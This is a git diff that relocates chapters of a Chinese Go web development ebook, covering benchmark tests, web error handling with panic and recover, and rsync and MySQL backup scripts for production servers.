- `go test`不会默认执行压力测试的函数,如果要执行压力测试需要带上参数`-test.bench`,语法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示测试全部的压力测试函数
|
||||
- 在压力测试用例中,请记得在循环体内使用`testing.B.N`,以使测试可以正常的运行
|
||||
- 文件名也必须以`_test.go`结尾
|
||||
|
||||
下面我们新建一个压力测试文件webbench_test.go,代码如下所示:
|
||||
|
||||
package gotest
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func Benchmark_Division(b *testing.B) {
|
||||
for i := 0; i < b.N; i++ { //use b.N for looping
|
||||
Division(4, 5)
|
||||
}
|
||||
}
|
||||
|
||||
func Benchmark_TimeConsumingFunction(b *testing.B) {
|
||||
b.StopTimer() //调用该函数停止压力测试的时间计数
|
||||
|
||||
//做一些初始化的工作,例如读取文件数据,数据库连接之类的,
|
||||
//这样这些时间不影响我们测试函数本身的性能
|
||||
|
||||
b.StartTimer() //重新开始时间
|
||||
for i := 0; i < b.N; i++ {
|
||||
Division(4, 5)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
我们执行命令`go test -file webbench_test.go -test.bench=".*"`,可以看到如下结果:
|
||||
|
||||
PASS
|
||||
Benchmark_Division 500000000 7.76 ns/op
|
||||
Benchmark_TimeConsumingFunction 500000000 7.80 ns/op
|
||||
ok gotest 9.364s
|
||||
|
||||
上面的结果显示我们没有执行任何`TestXXX`的单元测试函数,显示的结果只执行了压力测试函数,第一条显示了`Benchmark_Division`执行了500000000次,每次的执行平均时间是7.76纳秒,第二条显示了`Benchmark_TimeConsumingFunction`执行了500000000,每次的平均执行时间是7.80纳秒。最后一条显示总共的执行时间。
|
||||
|
||||
## 小结
|
||||
通过上面对单元测试和压力测试的学习,我们可以看到`testing`包很轻量,编写单元测试和压力测试用例非常简单,配合内置的`go test`命令就可以非常方便的进行测试,这样在我们每次修改完代码,执行一下go test就可以简单的完成回归测试了。
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [使用GDB调试](<11.2.md>)
|
||||
* 下一节: [小结](<11.4.md>)
|
||||
12
11.4.md → ebook/11.4.md
Executable file → Normal file
12
11.4.md → ebook/11.4.md
Executable file → Normal file
@@ -1,7 +1,7 @@
|
||||
# 11.4 小结
|
||||
本章我们通过三个小节分别介绍了Go语言中如何处理错误,如何设计错误处理,然后第二小节介绍了如何通过GDB来调试程序,通过GDB我们可以单步调试、可以查看变量、修改变量、打印执行过程等,最后我们介绍了如何利用Go语言自带的轻量级框架`testing`来编写单元测试和压力测试,使用`go test`就可以方便的执行这些测试,使得我们将来代码升级修改之后很方便的进行回归测试。这一章也许对于你编写程序逻辑没有任何帮助,但是对于你编写出来的程序代码保持高质量是至关重要的,因为一个好的Web应用必定有良好的错误处理机制(错误提示的友好、可扩展性)、有好的单元测试和压力测试以保证上线之后代码能够保持良好的性能和按预期的运行。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [Go怎么写测试用例](<11.3.md>)
|
||||
# 11.4 小结
|
||||
本章我们通过三个小节分别介绍了Go语言中如何处理错误,如何设计错误处理,然后第二小节介绍了如何通过GDB来调试程序,通过GDB我们可以单步调试、可以查看变量、修改变量、打印执行过程等,最后我们介绍了如何利用Go语言自带的轻量级框架`testing`来编写单元测试和压力测试,使用`go test`就可以方便的执行这些测试,使得我们将来代码升级修改之后很方便的进行回归测试。这一章也许对于你编写程序逻辑没有任何帮助,但是对于你编写出来的程序代码保持高质量是至关重要的,因为一个好的Web应用必定有良好的错误处理机制(错误提示的友好、可扩展性)、有好的单元测试和压力测试以保证上线之后代码能够保持良好的性能和按预期的运行。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [Go怎么写测试用例](<11.3.md>)
|
||||
* 下一节: [部署与维护](<12.0.md>)
|
||||
20
12.0.md → ebook/12.0.md
Executable file → Normal file
20
12.0.md → ebook/12.0.md
Executable file → Normal file
@@ -1,11 +1,11 @@
|
||||
# 12 部署与维护
|
||||
到目前为止,我们前面已经介绍了如何开发程序、调试程序以及测试程序,正如人们常说的:开发最后的10%需要花费90%的时间,所以这一章我们将强调这最后的10%部分,要真正成为让人信任并使用的优秀应用,需要考虑到一些细节,以上所说的10%就是指这些小细节。
|
||||
|
||||
本章我们将通过四个小节来介绍这些小细节的处理,第一小节介绍如何在生产服务上记录程序产生的日志,如何记录日志,第二小节介绍发生错误时我们的程序如何处理,如何保证尽量少的影响到用户的访问,第三小节介绍如何来部署Go的独立程序,由于目前Go程序还无法像C那样写成daemon,那么我们如何管理这样的进程程序后台运行呢?第四小节将介绍应用数据的备份和恢复,尽量保证应用在崩溃的情况能够保持数据的完整性。
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第十一章总结](<11.4.md>)
|
||||
# 12 部署与维护
|
||||
到目前为止,我们前面已经介绍了如何开发程序、调试程序以及测试程序,正如人们常说的:开发最后的10%需要花费90%的时间,所以这一章我们将强调这最后的10%部分,要真正成为让人信任并使用的优秀应用,需要考虑到一些细节,以上所说的10%就是指这些小细节。
|
||||
|
||||
本章我们将通过四个小节来介绍这些小细节的处理,第一小节介绍如何在生产服务上记录程序产生的日志,如何记录日志,第二小节介绍发生错误时我们的程序如何处理,如何保证尽量少的影响到用户的访问,第三小节介绍如何来部署Go的独立程序,由于目前Go程序还无法像C那样写成daemon,那么我们如何管理这样的进程程序后台运行呢?第四小节将介绍应用数据的备份和恢复,尽量保证应用在崩溃的情况能够保持数据的完整性。
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第十一章总结](<11.4.md>)
|
||||
* 下一节: [应用日志](<12.1.md>)
|
||||
0
12.1.md → ebook/12.1.md
Executable file → Normal file
0
12.1.md → ebook/12.1.md
Executable file → Normal file
248
12.2.md → ebook/12.2.md
Executable file → Normal file
248
12.2.md → ebook/12.2.md
Executable file → Normal file
@@ -1,124 +1,124 @@
|
||||
# 12.2 网站错误处理
|
||||
我们的Web应用一旦上线之后,那么各种错误出现的概率都有,Web应用日常运行中可能出现多种错误,具体如下所示:
|
||||
|
||||
- 数据库错误:指与访问数据库服务器或数据相关的错误。例如,以下可能出现的一些数据库错误。
|
||||
|
||||
- 连接错误:这一类错误可能是数据库服务器网络断开、用户名密码不正确、或者数据库不存在。
|
||||
- 查询错误:使用的SQL非法导致错误,这样子SQL错误如果程序经过严格的测试应该可以避免。
|
||||
- 数据错误:数据库中的约束冲突,例如一个唯一字段中插入一条重复主键的值就会报错,但是如果你的应用程序在上线之前经过了严格的测试也是可以避免这类问题。
|
||||
- 应用运行时错误:这类错误范围很广,涵盖了代码中出现的几乎所有错误。可能的应用错误的情况如下:
|
||||
|
||||
- 文件系统和权限:应用读取不存在的文件,或者读取没有权限的文件、或者写入一个不允许写入的文件,这些都会导致一个错误。应用读取的文件如果格式不正确也会报错,例如配置文件应该是ini的配置格式,而设置成了json格式就会报错。
|
||||
- 第三方应用:如果我们的应用程序耦合了其他第三方接口程序,例如应用程序发表文章之后自动调用接发微博的接口,所以这个接口必须正常运行才能完成我们发表一篇文章的功能。
|
||||
|
||||
- HTTP错误:这些错误是根据用户的请求出现的错误,最常见的就是404错误。虽然可能会出现很多不同的错误,但其中比较常见的错误还有401未授权错误(需要认证才能访问的资源)、403禁止错误(不允许用户访问的资源)和503错误(程序内部出错)。
|
||||
- 操作系统出错:这类错误都是由于应用程序上的操作系统出现错误引起的,主要有操作系统的资源被分配完了,导致死机,还有操作系统的磁盘满了,导致无法写入,这样就会引起很多错误。
|
||||
- 网络出错:指两方面的错误,一方面是用户请求应用程序的时候出现网络断开,这样就导致连接中断,这种错误不会造成应用程序的崩溃,但是会影响用户访问的效果;另一方面是应用程序读取其他网络上的数据,其他网络断开会导致读取失败,这种需要对应用程序做有效的测试,能够避免这类问题出现的情况下程序崩溃。
|
||||
|
||||
## 错误处理的目标
|
||||
在实现错误处理之前,我们必须明确错误处理想要达到的目标是什么,错误处理系统应该完成以下工作:
|
||||
|
||||
- 通知访问用户出现错误了:不论出现的是一个系统错误还是用户错误,用户都应当知道Web应用出了问题,用户的这次请求无法正确的完成了。例如,对于用户的错误请求,我们显示一个统一的错误页面(404.html)。出现系统错误时,我们通过自定义的错误页面显示系统暂时不可用之类的错误页面(error.html)。
|
||||
- 记录错误:系统出现错误,一般就是我们调用函数的时候返回err不为nil的情况,可以使用前面小节介绍的日志系统记录到日志文件。如果是一些致命错误,则通过邮件通知系统管理员。一般404之类的错误不需要发送邮件,只需要记录到日志系统。
|
||||
- 回滚当前的请求操作:如果一个用户请求过程中出现了一个服务器错误,那么已完成的操作需要回滚。下面来看一个例子:一个系统将用户递交的表单保存到数据库,并将这个数据递交到一个第三方服务器,但是第三方服务器挂了,这就导致一个错误,那么先前存储到数据库的表单数据应该删除(应告知无效),而且应该通知用户系统出现错误了。
|
||||
- 保证现有程序可运行可服务:我们知道没有人能保证程序一定能够一直正常的运行着,万一哪一天程序崩溃了,那么我们就需要记录错误,然后立刻让程序重新运行起来,让程序继续提供服务,然后再通知系统管理员,通过日志等找出问题。
|
||||
|
||||
## 如何处理错误
|
||||
错误处理其实我们已经在十一章第一小节里面有过介绍如何设计错误处理,这里我们再从一个例子详细的讲解一下,如何来处理不同的错误:
|
||||
|
||||
- 通知用户出现错误:
|
||||
|
||||
通知用户在访问页面的时候我们可以有两种错误:404.html和error.html,下面分别显示了错误页面的源码:
|
||||
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<title>找不到页面</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="span10">
|
||||
<div class="hero-unit">
|
||||
<h1>404!</h1>
|
||||
<p>{{.ErrorInfo}}</p>
|
||||
</div>
|
||||
</div><!--/span-->
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
另一个源码:
|
||||
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<title>系统错误页面</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="span10">
|
||||
<div class="hero-unit">
|
||||
<h1>系统暂时不可用!</h1>
|
||||
<p>{{.ErrorInfo}}</p>
|
||||
</div>
|
||||
</div><!--/span-->
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
404的错误处理逻辑,如果是系统的错误也是类似的操作,同时我们看到在:
|
||||
|
||||
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path == "/" {
|
||||
sayhelloName(w, r)
|
||||
return
|
||||
}
|
||||
NotFound404(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
func NotFound404(w http.ResponseWriter, r *http.Request) {
|
||||
log.Error("页面找不到") //记录错误日志
|
||||
t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件
|
||||
ErrorInfo := "文件找不到" //获取当前用户信息
|
||||
t.Execute(w, ErrorInfo) //执行模板的merger操作
|
||||
}
|
||||
|
||||
func SystemError(w http.ResponseWriter, r *http.Request) {
|
||||
log.Critical("系统错误") //系统错误触发了Critical,那么不仅会记录日志还会发送邮件
|
||||
t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件
|
||||
ErrorInfo := "系统暂时不可用" //获取当前用户信息
|
||||
t.Execute(w, ErrorInfo) //执行模板的merger操作
|
||||
}
|
||||
|
||||
## 如何处理异常
|
||||
我们知道在很多其他语言中有try...catch关键词,用来捕获异常情况,但是其实很多错误都是可以预期发生的,而不需要异常处理,应该当做错误来处理,这也是为什么Go语言采用了函数返回错误的设计,这些函数不会panic,例如如果一个文件找不到,os.Open返回一个错误,它不会panic;如果你向一个中断的网络连接写数据,net.Conn系列类型的Write函数返回一个错误,它们不会panic。这些状态在这样的程序里都是可以预期的。你知道这些操作可能会失败,因为设计者已经用返回错误清楚地表明了这一点。这就是上面所讲的可以预期发生的错误。
|
||||
|
||||
但是还有一种情况,有一些操作几乎不可能失败,而且在一些特定的情况下也没有办法返回错误,也无法继续执行,这样情况就应该panic。举个例子:如果一个程序计算x[j],但是j越界了,这部分代码就会导致panic,像这样的一个不可预期严重错误就会引起panic,在默认情况下它会杀掉进程,它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行,发生panic之后,这部分代码后面的函数和代码都不会继续执行,这是Go特意这样设计的,因为要区别于错误和异常,panic其实就是异常处理。如下代码,我们期望通过uid来获取User中的username信息,但是如果uid越界了就会抛出异常,这个时候如果我们没有recover机制,进程就会被杀死,从而导致程序不可服务。因此为了程序的健壮性,在一些地方需要建立recover机制。
|
||||
|
||||
func GetUser(uid int) (username string) {
|
||||
defer func() {
|
||||
if x := recover(); x != nil {
|
||||
username = ""
|
||||
}
|
||||
}()
|
||||
|
||||
username = User[uid]
|
||||
return
|
||||
}
|
||||
|
||||
上面介绍了错误和异常的区别,那么我们在开发程序的时候如何来设计呢?规则很简单:如果你定义的函数有可能失败,它就应该返回一个错误。当我调用其他package的函数时,如果这个函数实现的很好,我不需要担心它会panic,除非有真正的异常情况发生,即使那样也不应该是我去处理它。而panic和recover是针对自己开发package里面实现的逻辑,针对一些特殊情况来设计。
|
||||
|
||||
## 小结
|
||||
本小节总结了当我们的Web应用部署之后如何处理各种错误:网络错误、数据库错误、操作系统错误等,当错误发生时,我们的程序如何来正确处理:显示友好的出错界面、回滚操作、记录日志、通知管理员等操作,最后介绍了如何来正确处理错误和异常。一般的程序中错误和异常很容易混淆的,但是在Go中错误和异常是有明显的区分,所以告诉我们在程序设计中处理错误和异常应该遵循怎么样的原则。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [应用日志](<12.1.md>)
|
||||
* 下一节: [应用部署](<12.3.md>)
|
||||
# 12.2 网站错误处理
|
||||
我们的Web应用一旦上线之后,那么各种错误出现的概率都有,Web应用日常运行中可能出现多种错误,具体如下所示:
|
||||
|
||||
- 数据库错误:指与访问数据库服务器或数据相关的错误。例如,以下可能出现的一些数据库错误。
|
||||
|
||||
- 连接错误:这一类错误可能是数据库服务器网络断开、用户名密码不正确、或者数据库不存在。
|
||||
- 查询错误:使用的SQL非法导致错误,这样子SQL错误如果程序经过严格的测试应该可以避免。
|
||||
- 数据错误:数据库中的约束冲突,例如一个唯一字段中插入一条重复主键的值就会报错,但是如果你的应用程序在上线之前经过了严格的测试也是可以避免这类问题。
|
||||
- 应用运行时错误:这类错误范围很广,涵盖了代码中出现的几乎所有错误。可能的应用错误的情况如下:
|
||||
|
||||
- 文件系统和权限:应用读取不存在的文件,或者读取没有权限的文件、或者写入一个不允许写入的文件,这些都会导致一个错误。应用读取的文件如果格式不正确也会报错,例如配置文件应该是ini的配置格式,而设置成了json格式就会报错。
|
||||
- 第三方应用:如果我们的应用程序耦合了其他第三方接口程序,例如应用程序发表文章之后自动调用接发微博的接口,所以这个接口必须正常运行才能完成我们发表一篇文章的功能。
|
||||
|
||||
- HTTP错误:这些错误是根据用户的请求出现的错误,最常见的就是404错误。虽然可能会出现很多不同的错误,但其中比较常见的错误还有401未授权错误(需要认证才能访问的资源)、403禁止错误(不允许用户访问的资源)和503错误(程序内部出错)。
|
||||
- 操作系统出错:这类错误都是由于应用程序上的操作系统出现错误引起的,主要有操作系统的资源被分配完了,导致死机,还有操作系统的磁盘满了,导致无法写入,这样就会引起很多错误。
|
||||
- 网络出错:指两方面的错误,一方面是用户请求应用程序的时候出现网络断开,这样就导致连接中断,这种错误不会造成应用程序的崩溃,但是会影响用户访问的效果;另一方面是应用程序读取其他网络上的数据,其他网络断开会导致读取失败,这种需要对应用程序做有效的测试,能够避免这类问题出现的情况下程序崩溃。
|
||||
|
||||
## 错误处理的目标
|
||||
在实现错误处理之前,我们必须明确错误处理想要达到的目标是什么,错误处理系统应该完成以下工作:
|
||||
|
||||
- 通知访问用户出现错误了:不论出现的是一个系统错误还是用户错误,用户都应当知道Web应用出了问题,用户的这次请求无法正确的完成了。例如,对于用户的错误请求,我们显示一个统一的错误页面(404.html)。出现系统错误时,我们通过自定义的错误页面显示系统暂时不可用之类的错误页面(error.html)。
|
||||
- 记录错误:系统出现错误,一般就是我们调用函数的时候返回err不为nil的情况,可以使用前面小节介绍的日志系统记录到日志文件。如果是一些致命错误,则通过邮件通知系统管理员。一般404之类的错误不需要发送邮件,只需要记录到日志系统。
|
||||
- 回滚当前的请求操作:如果一个用户请求过程中出现了一个服务器错误,那么已完成的操作需要回滚。下面来看一个例子:一个系统将用户递交的表单保存到数据库,并将这个数据递交到一个第三方服务器,但是第三方服务器挂了,这就导致一个错误,那么先前存储到数据库的表单数据应该删除(应告知无效),而且应该通知用户系统出现错误了。
|
||||
- 保证现有程序可运行可服务:我们知道没有人能保证程序一定能够一直正常的运行着,万一哪一天程序崩溃了,那么我们就需要记录错误,然后立刻让程序重新运行起来,让程序继续提供服务,然后再通知系统管理员,通过日志等找出问题。
|
||||
|
||||
## 如何处理错误
|
||||
错误处理其实我们已经在十一章第一小节里面有过介绍如何设计错误处理,这里我们再从一个例子详细的讲解一下,如何来处理不同的错误:
|
||||
|
||||
- 通知用户出现错误:
|
||||
|
||||
通知用户在访问页面的时候我们可以有两种错误:404.html和error.html,下面分别显示了错误页面的源码:
|
||||
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<title>找不到页面</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="span10">
|
||||
<div class="hero-unit">
|
||||
<h1>404!</h1>
|
||||
<p>{{.ErrorInfo}}</p>
|
||||
</div>
|
||||
</div><!--/span-->
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
另一个源码:
|
||||
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<title>系统错误页面</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="span10">
|
||||
<div class="hero-unit">
|
||||
<h1>系统暂时不可用!</h1>
|
||||
<p>{{.ErrorInfo}}</p>
|
||||
</div>
|
||||
</div><!--/span-->
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
404的错误处理逻辑,如果是系统的错误也是类似的操作,同时我们看到在:
|
||||
|
||||
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path == "/" {
|
||||
sayhelloName(w, r)
|
||||
return
|
||||
}
|
||||
NotFound404(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
func NotFound404(w http.ResponseWriter, r *http.Request) {
|
||||
log.Error("页面找不到") //记录错误日志
|
||||
t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件
|
||||
ErrorInfo := "文件找不到" //获取当前用户信息
|
||||
t.Execute(w, ErrorInfo) //执行模板的merger操作
|
||||
}
|
||||
|
||||
func SystemError(w http.ResponseWriter, r *http.Request) {
|
||||
log.Critical("系统错误") //系统错误触发了Critical,那么不仅会记录日志还会发送邮件
|
||||
t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件
|
||||
ErrorInfo := "系统暂时不可用" //获取当前用户信息
|
||||
t.Execute(w, ErrorInfo) //执行模板的merger操作
|
||||
}
|
||||
|
||||
## 如何处理异常
|
||||
我们知道在很多其他语言中有try...catch关键词,用来捕获异常情况,但是其实很多错误都是可以预期发生的,而不需要异常处理,应该当做错误来处理,这也是为什么Go语言采用了函数返回错误的设计,这些函数不会panic,例如如果一个文件找不到,os.Open返回一个错误,它不会panic;如果你向一个中断的网络连接写数据,net.Conn系列类型的Write函数返回一个错误,它们不会panic。这些状态在这样的程序里都是可以预期的。你知道这些操作可能会失败,因为设计者已经用返回错误清楚地表明了这一点。这就是上面所讲的可以预期发生的错误。
|
||||
|
||||
但是还有一种情况,有一些操作几乎不可能失败,而且在一些特定的情况下也没有办法返回错误,也无法继续执行,这样情况就应该panic。举个例子:如果一个程序计算x[j],但是j越界了,这部分代码就会导致panic,像这样的一个不可预期严重错误就会引起panic,在默认情况下它会杀掉进程,它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行,发生panic之后,这部分代码后面的函数和代码都不会继续执行,这是Go特意这样设计的,因为要区别于错误和异常,panic其实就是异常处理。如下代码,我们期望通过uid来获取User中的username信息,但是如果uid越界了就会抛出异常,这个时候如果我们没有recover机制,进程就会被杀死,从而导致程序不可服务。因此为了程序的健壮性,在一些地方需要建立recover机制。
|
||||
|
||||
func GetUser(uid int) (username string) {
|
||||
defer func() {
|
||||
if x := recover(); x != nil {
|
||||
username = ""
|
||||
}
|
||||
}()
|
||||
|
||||
username = User[uid]
|
||||
return
|
||||
}
|
||||
|
||||
上面介绍了错误和异常的区别,那么我们在开发程序的时候如何来设计呢?规则很简单:如果你定义的函数有可能失败,它就应该返回一个错误。当我调用其他package的函数时,如果这个函数实现的很好,我不需要担心它会panic,除非有真正的异常情况发生,即使那样也不应该是我去处理它。而panic和recover是针对自己开发package里面实现的逻辑,针对一些特殊情况来设计。
|
||||
|
||||
## 小结
|
||||
本小节总结了当我们的Web应用部署之后如何处理各种错误:网络错误、数据库错误、操作系统错误等,当错误发生时,我们的程序如何来正确处理:显示友好的出错界面、回滚操作、记录日志、通知管理员等操作,最后介绍了如何来正确处理错误和异常。一般的程序中错误和异常很容易混淆的,但是在Go中错误和异常是有明显的区分,所以告诉我们在程序设计中处理错误和异常应该遵循怎么样的原则。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [应用日志](<12.1.md>)
|
||||
* 下一节: [应用部署](<12.3.md>)
|
||||
0
12.3.md → ebook/12.3.md
Executable file → Normal file
0
12.3.md → ebook/12.3.md
Executable file → Normal file
348
12.4.md → ebook/12.4.md
Executable file → Normal file
348
12.4.md → ebook/12.4.md
Executable file → Normal file
@@ -1,174 +1,174 @@
|
||||
# 12.4 备份和恢复
|
||||
这小节我们要讨论应用程序管理的另一个方面:生产服务器上数据的备份和恢复。我们经常会遇到生产服务器的网络断了、硬盘坏了、操作系统崩溃、或者数据库不可用了等各种异常情况,所以维护人员需要对生产服务器上的应用和数据做好异地灾备,冷备热备的准备。在接下来的介绍中,讲解了如何备份应用、如何备份/恢复Mysql数据库和redis数据库。
|
||||
|
||||
## 应用备份
|
||||
在大多数集群环境下,Web应用程序基本不需要备份,因为这个其实就是一个代码副本,我们在本地开发环境中,或者版本控制系统中已经保持这些代码。但是很多时候,一些开发的站点需要用户来上传文件,那么我们需要对这些用户上传的文件进行备份。目前其实有一种合适的做法就是把和网站相关的需要存储的文件存储到云储存,这样即使系统崩溃,只要我们的文件还在云存储上,至少数据不会丢失。
|
||||
|
||||
如果我们没有采用云储存的情况下,如何做到网站的备份呢?这里我们介绍一个文件同步工具rsync:rsync能够实现网站的备份,不同系统的文件的同步,如果是windows的话,需要windows版本cwrsync。
|
||||
|
||||
### rsync安装
|
||||
rysnc的官方网站:http://rsync.samba.org/ 可以从上面获取最新版本的源码。当然,因为rsync是一款非常有用的软件,所以很多Linux的发行版本都将它收录在内了。
|
||||
|
||||
软件包安装
|
||||
|
||||
# sudo apt-get install rsync 注:在debian、ubuntu 等在线安装方法;
|
||||
# yum install rsync 注:Fedora、Redhat、CentOS 等在线安装方法;
|
||||
# rpm -ivh rsync 注:Fedora、Redhat、CentOS 等rpm包安装方法;
|
||||
|
||||
其它Linux发行版,请用相应的软件包管理方法来安装。源码包安装
|
||||
|
||||
tar xvf rsync-xxx.tar.gz
|
||||
cd rsync-xxx
|
||||
./configure --prefix=/usr ;make ;make install 注:在用源码包编译安装之前,您得安装gcc等编译工具才行;
|
||||
|
||||
### rsync配置
|
||||
rsync主要有以下三个配置文件rsyncd.conf(主配置文件)、rsyncd.secrets(密码文件)、rsyncd.motd(rysnc服务器信息)。
|
||||
|
||||
关于这几个文件的配置大家可以参考官方网站或者其他介绍rsync的网站,下面介绍服务器端和客户端如何开启
|
||||
|
||||
- 服务端开启:
|
||||
|
||||
#/usr/bin/rsync --daemon --config=/etc/rsyncd/rsyncd.conf
|
||||
|
||||
--daemon参数方式,是让rsync以服务器模式运行。把rsync加入开机启动
|
||||
|
||||
echo 'rsync --daemon' >> /etc/rc.d/rc.local
|
||||
|
||||
设置rsync密码
|
||||
|
||||
echo '你的用户名:你的密码' > /etc/rsyncd.secrets
|
||||
chmod 600 /etc/rsyncd.secrets
|
||||
|
||||
|
||||
- 客户端同步:
|
||||
|
||||
客户端可以通过如下命令同步服务器上的文件:
|
||||
|
||||
rsync -avzP --delete --password-file=rsyncd.secrets 用户名@192.168.145.5::www /var/rsync/backup
|
||||
|
||||
这条命令,简要的说明一下几个要点:
|
||||
|
||||
1. -avzP是啥,读者可以使用--help查看
|
||||
2. --delete 是为了比如A上删除了一个文件,同步的时候,B会自动删除相对应的文件
|
||||
3. --password-file 客户端中/etc/rsyncd.secrets设置的密码,要和服务端的 /etc/rsyncd.secrets 中的密码一样,这样cron运行的时候,就不需要密码了
|
||||
4. 这条命令中的"用户名"为服务端的 /etc/rsyncd.secrets中的用户名
|
||||
5. 这条命令中的 192.168.0.100 为服务端的IP地址
|
||||
6. ::www,注意是2个 : 号,www为服务端的配置文件 /etc/rsyncd.conf 中的[www],意思是根据服务端上的/etc/rsyncd.conf来同步其中的[www]段内容,一个 : 号的时候,用于不根据配置文件,直接同步指定目录。
|
||||
|
||||
为了让同步实时性,可以设置crontab,保持rsync每分钟同步,当然用户也可以根据文件的重要程度设置不同的同步频率。
|
||||
|
||||
|
||||
## MySQL备份
|
||||
应用数据库目前还是MySQL为主流,目前MySQL的备份有两种方式:热备份和冷备份,热备份目前主要是采用master/slave方式(master/slave方式的同步目前主要用于数据库读写分离,也可以用于热备份数据),关于如何配置这方面的资料,大家可以找到很多。冷备份的话就是数据有一定的延迟,但是可以保证该时间段之前的数据完整,例如有些时候可能我们的误操作引起了数据的丢失,那么master/slave模式是无法找回丢失数据的,但是通过冷备份可以部分恢复数据。
|
||||
|
||||
冷备份一般使用shell脚本来实现定时备份数据库,然后通过上面介绍rsync同步非本地机房的一台服务器。
|
||||
|
||||
下面这个是定时备份mysql的备份脚本,我们使用了mysqldump程序,这个命令可以把数据库导出到一个文件中。
|
||||
|
||||
#!/bin/bash
|
||||
|
||||
# 以下配置信息请自己修改
|
||||
mysql_user="USER" #MySQL备份用户
|
||||
mysql_password="PASSWORD" #MySQL备份用户的密码
|
||||
mysql_host="localhost"
|
||||
mysql_port="3306"
|
||||
mysql_charset="utf8" #MySQL编码
|
||||
backup_db_arr=("db1" "db2") #要备份的数据库名称,多个用空格分开隔开 如("db1" "db2" "db3")
|
||||
backup_location=/var/www/mysql #备份数据存放位置,末尾请不要带"/",此项可以保持默认,程序会自动创建文件夹
|
||||
expire_backup_delete="ON" #是否开启过期备份删除 ON为开启 OFF为关闭
|
||||
expire_days=3 #过期时间天数 默认为三天,此项只有在expire_backup_delete开启时有效
|
||||
|
||||
# 本行开始以下不需要修改
|
||||
backup_time=`date +%Y%m%d%H%M` #定义备份详细时间
|
||||
backup_Ymd=`date +%Y-%m-%d` #定义备份目录中的年月日时间
|
||||
backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3天之前的日期
|
||||
backup_dir=$backup_location/$backup_Ymd #备份文件夹全路径
|
||||
welcome_msg="Welcome to use MySQL backup tools!" #欢迎语
|
||||
|
||||
# 判断MYSQL是否启动,mysql没有启动则备份退出
|
||||
mysql_ps=`ps -ef |grep mysql |wc -l`
|
||||
mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l`
|
||||
if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then
|
||||
echo "ERROR:MySQL is not running! backup stop!"
|
||||
exit
|
||||
else
|
||||
echo $welcome_msg
|
||||
fi
|
||||
|
||||
# 连接到mysql数据库,无法连接则备份退出
|
||||
mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password <<end
|
||||
use mysql;
|
||||
select host,user from user where user='root' and host='localhost';
|
||||
exit
|
||||
end
|
||||
|
||||
flag=`echo $?`
|
||||
if [ $flag != "0" ]; then
|
||||
echo "ERROR:Can't connect mysql server! backup stop!"
|
||||
exit
|
||||
else
|
||||
echo "MySQL connect ok! Please wait......"
|
||||
# 判断有没有定义备份的数据库,如果定义则开始备份,否则退出备份
|
||||
if [ "$backup_db_arr" != "" ];then
|
||||
#dbnames=$(cut -d ',' -f1-5 $backup_database)
|
||||
#echo "arr is (${backup_db_arr[@]})"
|
||||
for dbname in ${backup_db_arr[@]}
|
||||
do
|
||||
echo "database $dbname backup start..."
|
||||
`mkdir -p $backup_dir`
|
||||
`mysqldump -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password $dbname --default-character-set=$mysql_charset | gzip > $backup_dir/$dbname-$backup_time.sql.gz`
|
||||
flag=`echo $?`
|
||||
if [ $flag == "0" ];then
|
||||
echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz"
|
||||
else
|
||||
echo "database $dbname backup fail!"
|
||||
fi
|
||||
|
||||
done
|
||||
else
|
||||
echo "ERROR:No database to backup! backup stop"
|
